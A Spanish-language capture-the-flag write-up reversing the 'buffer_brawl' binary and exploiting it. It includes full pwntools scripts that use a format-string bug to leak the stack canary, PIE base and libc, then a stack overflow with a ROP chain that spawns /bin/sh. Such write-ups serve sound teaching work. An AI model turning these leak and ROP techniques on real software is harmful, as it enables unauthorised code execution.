Reversing
Si ejecutamos el binario nos muestra un menú con varias opciones que analizaremos
❯ ./buffer_brawl
|||||||||
| _ _ |
( ' _ ' )
| ___ |
|_____|
_______/ \_______
/ \
| |\ /| |
| || . . || |
| / \ / \ |
\ | | |_ | _| | | /
|==| | |_ | _| | |==|
/ /_ _|_|__|__|_|_ _\ \
|___| / \|___|
| | |
| | |
| | |
| | |
''|''|''|''|''
| | | |
| | | |
/ ) ( \
Ooooo ooooO
Ladies and gentlemen...
Are you ready? For the main event of the CTF?
Introducing...
A challenge that packs a punch, tests your mettle, and overflows with excitement!
Let's get ready to buffeeeeeeeer!!!
Choose:
1. Throw a jab
2. Throw a hook
3. Throw an uppercut
4. Slip
5. Call off
>
Analizaremos el funcionamiento del programa asi que iniciamos desensamblando la función main
, esta llama a un par de funciones, la última de ellas es menu
La función menu inicia guardando una string en el stack y estableciendo una variable option choice
la cual decidirá a que función llamar a través de una estructura switch
El siguiente bloque muestra poco a poco la string que muestra las opciones y recibe un entero con scanf
que como formato recibe %d
indicando un decimal
En el caso por defecto o 0
muestra un mensaje con puts
indicando que no es una opción válida y vuelve al inicio de la función main
para recibir nuevamente el digito
Si no salta al bloque 0
por defecto elige a que bloque saltar a través de un switch
El caso 1
llama a la función jab
, esta resta una unidad a la variable global llamada stack_life_points
y salta a la función stack_check_up
que luego analizaremos
El caso 2
llama a hook
que hace lo mismo pero resta 2
unidades en lugar de una
Finalmente el caso 3
llama a la función uppercut
que resta un total de 3
unidades
Cada una de las funciones termina con un jmp
hacia la función status_check_up
, ésta función al inicio compara la variable global stack_life_points
con la constante 13
Si la variable tiene un valor mayor o igual a 0
lanza un mensaje llamando a la función printf
que muestra los puntos totales en la variable y sigue con la ejecución normal
Si la comparación de la variable global contra la constante 13
puntos resulta exitosa muestra un prompt con puts
y recibe una string con scanf
que lo guarda en el segundo argumento al que le pasa el valor de rsp
, entendemos que escribirá en el stack, luego de la ejecución mueve el rsp
un total de 0x28
o 40
bytes más adelante, aqui tenemos un posible buffer overflow, el offset al return address es 40
pero la stack cookie está en rbp - 8
y el offset para llegar ahí son 24
bytes
Volvemos a la estructura switch
, el caso 4
llama a slip
lee un total de 0x1d
bytes con read
y lo guarda en el rsp
, luego le pasa eso como único argumento a printf
sin pasarle algún tipo de formato ocasionando una vulnerabilidad de format string
Explotación
Iniciamos mirando las protecciones con checksec
, empezamos con el FULL RELRO
nos impode escribir en la tabla got
, el Canary
establece una variable local en rbp - 8
que comprueba que no se haya modificado antes de retornar, el NX
nos impide ejecutar shellcode en el stack y el PIE
hace aleatoria la dirección base del binario
❯ checksec buffer_brawl
[*] '/home/user/buffer_brawl'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Sabemos que en el caso 4
tenemos un format string, podemos probar enviar varios %p
separados por .
y el resultado son leaks de múltiples punteros interesantes
> 4
Try to slip...
Right or left?
%p.%p.%p.%p.%p.%p.%p
0x7ffc899d9390.0x1d.0x7e973e3147e2.0x1e.(nil).0x70252e70252e7025.0x252e70252e70252e
Choose:
1. Throw a jab
2. Throw a hook
3. Throw an uppercut
4. Slip
5. Call off
El siguiente script en python itera sobre las posiciones del 1
al 15
y muestra los punteros filtrados para ver si alguno de ellos nos puede servir para la explotación
#!/usr/bin/python3
from pwn import gdb, log
shell = gdb.debug("./buffer_brawl", "continue")
for i in range(1, 15):
shell.sendlineafter(b"> ", b"4")
shell.sendlineafter(b"?\n", f"%{i}$p".encode())
leak = shell.recvline().strip().decode()
log.info(f"{i}: {leak}")
shell.interactive()
Al ejecutarlo de primeras llama la atención la posición 11
ya que son 8
bytes completos y el último es un 00
, formato tipico de las stack cookies o canary
❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 33778
[*] running in new terminal: ['/usr/bin/gdb', '-q', './buffer_brawl']
[*] 1: 0x7fff21c92580
[*] 2: 0x1d
[*] 3: 0x7922b91147e2
[*] 4: 0x1e
[*] 5: (nil)
[*] 6: 0x5a0a70243625
[*] 7: 0xa
[*] 8: 0x5a007b8e24e0
[*] 9: 0x5a007b8e2181
[*] 10: 0x5a007b8e2171
[*] 11: 0x4c2cdd8b3ad7ff00
[*] 12: 0x5a007b8e24e0
[*] 13: 0x5a007b8e1747
[*] 14: 0x24
[*] Switching to interactive mode
Choose:
1. Throw a jab
2. Throw a hook
3. Throw an uppercut
4. Slip
5. Call off
> $
La posición 13
apunta a la función menu + 215
, esta dirección es parte del binario y si restamos el offset que son 0x1747
bytes deberiamos poder obtener la dirección base
^C
Program received signal SIGINT, Interrupt.
0x00007922b91147e2 in read () from ./libc.so.6
pwndbg> x/i 0x5a007b8e1747
0x5a007b8e1747 <menu+215>: jmp 0x5a007b8e16c0 <menu+80>
pwndbg> vmmap 0x5a007b8e1747
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x5a007b8e0000 0x5a007b8e1000 r--p 1000 0 /home/user/buffer_brawl
► 0x5a007b8e1000 0x5a007b8e2000 r-xp 1000 1000 /home/user/buffer_brawl +0x747
0x5a007b8e2000 0x5a007b8e3000 r--p 1000 2000 /home/user/buffer_brawl
pwndbg> p/x 0x5a007b8e1747 - 0x5a007b8e0000
$1 = 0x1747
pwndbg>
Entonces, hacemos un leak con los punteros en la posición 11
y 13
, a éste último le restamos el offset y de esta forma obtenemos la stack cookie y la dirección base del binario, con esto ya evadimos 2 de las protecciones que son el Canary
y el PIE
#!/usr/bin/python3
from pwn import gdb, log
shell = gdb.debug("./buffer_brawl", "continue")
shell.sendlineafter(b"> ", b"4")
shell.sendlineafter(b"?\n", b"%11$p.%13$p")
leak = shell.recvline().strip().split(b".")
canary = int(leak[0], 16)
binary_base = int(leak[1], 16) - 0x1747
log.info(f"Canary: {hex(canary)}")
log.info(f"Binary base: {hex(binary_base)}")
shell.interactive()
Lo ejecutamos para comprobar que funciona, esto nos muestra la stack cookie y una dirección que si comparamos con la dirección base del binario es justo la misma
❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 34169
[*] running in new terminal: ['/usr/bin/gdb', '-q', './buffer_brawl']
[*] Canary: 0x232f75b7c0f1b600
[*] Binary base: 0x5c0474962000
[*] Switching to interactive mode
Choose:
1. Throw a jab
2. Throw a hook
3. Throw an uppercut
4. Slip
5. Call off
> $
^C
Program received signal SIGINT, Interrupt.
0x000076e3605147e2 in read () from ./libc.so.6
pwndbg> vmmap buffer_brawl
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
► 0x5c0474962000 0x5c0474963000 r--p 1000 0 /home/user/buffer_brawl
► 0x5c0474963000 0x5c0474964000 r-xp 1000 1000 /home/user/buffer_brawl
► 0x5c0474964000 0x5c0474965000 r--p 1000 2000 /home/user/buffer_brawl
► 0x5c0474965000 0x5c0474966000 r--p 1000 2000 /home/user/buffer_brawl
► 0x5c0474966000 0x5c0474967000 rw-p 1000 3000 /home/user/buffer_brawl
► 0x5c0474967000 0x5c0474969000 rw-p 2000 5000 /home/user/buffer_brawl
0x5c0474d2c000 0x5c0474d4d000 rw-p 21000 0 [heap]
pwndbg>
Al inicio cuando lekeamos algunos punteros podemos notar que a partir de la posición 6
los valores son un reflejo de nuestros datos en punteros hexadecimales
❯ unhex 70252e70252e7025 | rev
%p.%p.%p
❯ unhex 252e70252e70252e | rev
%.p%.p%.
Entonces, podemos enviar %7$p
para hacer un leak de la posición 7
y luego rellenar con .
a 8
bytes que es el tamaño del puntero, luego enviamos AAAABBBB
, el resultado es que el leak muestra estos caractéres de la posición 7
como puntero
> 4
Try to slip...
Right or left?
%7$p....AAAABBBB
0x4242424241414141....AAAABBBB
Choose:
1. Throw a jab
2. Throw a hook
3. Throw an uppercut
4. Slip
5. Call off
>
Podemos aprovechar esto para hacer un leak de libc, para ello solo necesitamos la entrada got
de la función puts
que contiene una referencia a su posición en libc
pwndbg> x/i puts
0x1030 <puts@plt>: jmp QWORD PTR [rip+0x2f6a] # 0x3fa0 <puts@got.plt>
pwndbg>
También necesitamos el offset ésta la misma función pero en libc que obtenemos con libcdb
, esto para restarle esa cantidad al leak y obtener la dirección base de libc
❯ libcdb file libc.so.6
[*] libc.so.6
Version: 2.35
BuildID: 490fef8403240c91833978d494d39e537409b92e
MD5: 3ffd733fd1e00b1f8ef939de78b33509
SHA1: b99cddb548877d514655da7ecac1348dd45e6eee
SHA256: 5955dead1a55f545cf9cf34a40b2eb65deb84ea503ac467a266d061073315fa7
Symbols:
__libc_start_main_ret = 0x29d90
dup2 = 0x115010
printf = 0x606f0
puts = 0x80e50
read = 0x1147d0
str_bin_sh = 0x1d8678
system = 0x50d70
write = 0x114870
Entonces, ahora nuestro exploit usa %7$s
para mostrar como string el contenido de la posición 7
, rellenamos el qword y para esa posición le pasamos la entrada got
de la función puts
, entonces ejecutará algún tipo de printf(puts@got)
que muestra la dirección de puts
en memoria y al restar el offset nos da la dirección base de libc
#!/usr/bin/python3
from pwn import gdb, p64, u64, log
shell = gdb.debug("./buffer_brawl", "continue")
shell.sendlineafter(b"> ", b"4")
shell.sendlineafter(b"?\n", b"%11$p.%13$p")
leak = shell.recvline().strip().split(b".")
canary = int(leak[0], 16)
binary_base = int(leak[1], 16) - 0x1747
payload = b"%7$s...." + p64(binary_base + 0x3fa0) # puts@got
shell.sendlineafter(b"> ", b"4")
shell.sendlineafter(b"?\n", payload)
libc_base = u64(shell.recvuntil(b"....")[:-4].ljust(8, b"\x00")) - 0x80e50
log.info(f"Libc base: {hex(libc_base)}")
shell.interactive()
Ejecutamos el exploit y nos muestra la dirección lekeada, si comparamos esta dirección con la base de libc que vemos en gdb
es exactamente la misma
❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 38069
[*] running in new terminal: ['/usr/bin/gdb', '-q', './buffer_brawl']
[*] Libc base: 0x79d216c00000
[*] Switching to interactive mode
Choose:
1. Throw a jab
2. Throw a hook
3. Throw an uppercut
4. Slip
5. Call off
> $
^C
Program received signal SIGINT, Interrupt.
0x000079d216d147e2 in read () from ./libc.so.6
pwndbg> vmmap libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x6337e5243000 0x6337e5264000 rw-p 21000 0 [heap]
► 0x79d216c00000 0x79d216c28000 r--p 28000 0 /home/user/BufferBrawl/libc.so.6
► 0x79d216c28000 0x79d216dbd000 r-xp 195000 28000 /home/user/BufferBrawl/libc.so.6
► 0x79d216dbd000 0x79d216e15000 r--p 58000 1bd000 /home/user/BufferBrawl/libc.so.6
► 0x79d216e15000 0x79d216e16000 ---p 1000 215000 /home/user/BufferBrawl/libc.so.6
► 0x79d216e16000 0x79d216e1a000 r--p 4000 215000 /home/user/BufferBrawl/libc.so.6
► 0x79d216e1a000 0x79d216e1c000 rw-p 2000 219000 /home/user/BufferBrawl/libc.so.6
pwndbg>
Vamos con la siguiente vulnerabilidad, mediante un bucle for
restaremos 3
puntos 29
veces, esto deja a la variable stack_life_points
en 13
, entonces ya podemos explotar el buffer overflow el cual dijimos tenia un offset a la cookie de 24
bytes, ahí enviamos el canary, 8 B's
para rbp
y 8 C's
para el return address, además un par de D's
que se guardarán en el stack, asi tenemos el control del flujo de ejecución
#!/usr/bin/python3
from pwn import gdb, p64, u64
shell = gdb.debug("./buffer_brawl", "continue")
shell.sendlineafter(b"> ", b"4")
shell.sendlineafter(b"?\n", b"%11$p.%13$p")
leak = shell.recvline().strip().split(b".")
canary = int(leak[0], 16)
binary_base = int(leak[1], 16) - 0x1747
payload = b"%7$s...." + p64(binary_base + 0x3fa0) # puts@got
shell.sendlineafter(b"> ", b"4")
shell.sendlineafter(b"?\n", payload)
libc_base = u64(shell.recvuntil(b"....")[:-4].ljust(8, b"\x00")) - 0x80e50
for i in range(29):
shell.sendlineafter(b"> ", b"3")
offset = 24
junk = b"A" * offset
payload = b""
payload += junk
payload += p64(canary)
payload += b"B" * 8
payload += b"C" * 8
payload += b"D" * 24
shell.sendlineafter(b": ", payload)
shell.recvline()
shell.interactive()
Program received signal SIGSEGV, Segmentation fault.
0x000063b373c7647d in stack_check_up ()
pwndbg> x/gx $rsp
0x7ffc8025a808: 0x4343434343434343
pwndbg> x/s $rsp+8
0x7ffc8025a810: 'D' <repetidos 24 veces>
pwndbg>
Una vez controlamos el return address y los valores en el stack simplemente nos queda agregar un ropchain
, en este caso debido a problemas con system
usamos uno que ejecute execve("/bin/sh", NULL, NULL);
a través de una syscall
#!/usr/bin/python3
from pwn import process, p64, u64
shell = process("./buffer_brawl")
shell.sendlineafter(b"> ", b"4")
shell.sendlineafter(b"?\n", b"%11$p.%13$p")
leak = shell.recvline().strip().split(b".")
canary = int(leak[0], 16)
binary_base = int(leak[1], 16) - 0x1747
payload = b"%7$s...." + p64(binary_base + 0x3fa0) # puts@got
shell.sendlineafter(b"> ", b"4")
shell.sendlineafter(b"?\n", payload)
libc_base = u64(shell.recvuntil(b"....")[:-4].ljust(8, b"\x00")) - 0x80e50
for i in range(29):
shell.sendlineafter(b"> ", b"3")
offset = 24
junk = b"A" * offset
payload = b""
payload += junk
payload += p64(canary)
payload += b"B" * 8
payload += p64(libc_base + 0x045eb0) # pop rax; ret;
payload += p64(0x3b) # execve()
payload += p64(libc_base + 0x02a3e5) # pop rdi; ret;
payload += p64(libc_base + 0x1d8678) # "/bin/sh"
payload += p64(libc_base + 0x02be51) # pop rsi; ret;
payload += p64(0x0) # NULL
payload += p64(libc_base + 0x118f2f) # mov rdx, rsi; syscall;
shell.sendlineafter(b": ", payload)
shell.recvline()
shell.interactive()
Entonces, en el exploit usamos el format string para lekear el canary
y la dirección base del binario, ya con ello lekeamos la dirección base de libc para posteriormente explotar el buffer overflow que al ejecutar el ropchain
nos devuelve una shell
❯ python3 exploit.py
[+] Starting local process './buffer_brawl': pid 41976
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$